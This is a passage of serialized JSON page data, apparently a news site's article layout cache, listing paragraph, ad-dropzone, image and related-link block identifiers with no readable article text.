XQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.6","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.72":{"__typename":"Dropzone","index":34,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.2","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.74":{"__typename":"Dropzone","index":35,"bad":false,"adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.75":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.75.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.76":{"__typename":"Dropzone","index":36,"bad":true,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77":{"__typename":"RelatedLinksBlock","displayStyle":"STANDARD","title":[],"description":[],"related@filterEmpty":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0","typename":"Article"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1","typename":"Article"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody":{"content@filterEmpty":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0","typename":"HeaderBasicBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.3","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.5","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.6","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.7","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.8","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.9","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.11","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.12","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.13","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.15","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.16","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.17","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.19","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.21","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.22","typename":"ImageBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.23","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.24","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.25","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.27","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.28","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.29","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.31","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.32","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.33","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.34","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.35","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.37","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.38","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.39","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.40","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.41","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.42","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.43","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.44","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.45","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.46","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.47","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.48","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.49","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.51","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.52","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.53","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.54","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.55","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.56","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.57","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.58","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.59","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.60","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.61","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.62","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.63","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.64","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.65","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.66","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.67","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.68","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.69","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.70","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.72","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.74","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.75","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.76","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77","typename":"RelatedLinksBlock"}],"__typename":"DocumentBlock","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.0","typename":"HeaderBasicBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.1","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.2","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.3","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.4","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.5","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.6","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.7","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.8","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.9","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.10","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.11","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.12","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.13","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.14","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.15","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.16","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.17","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6L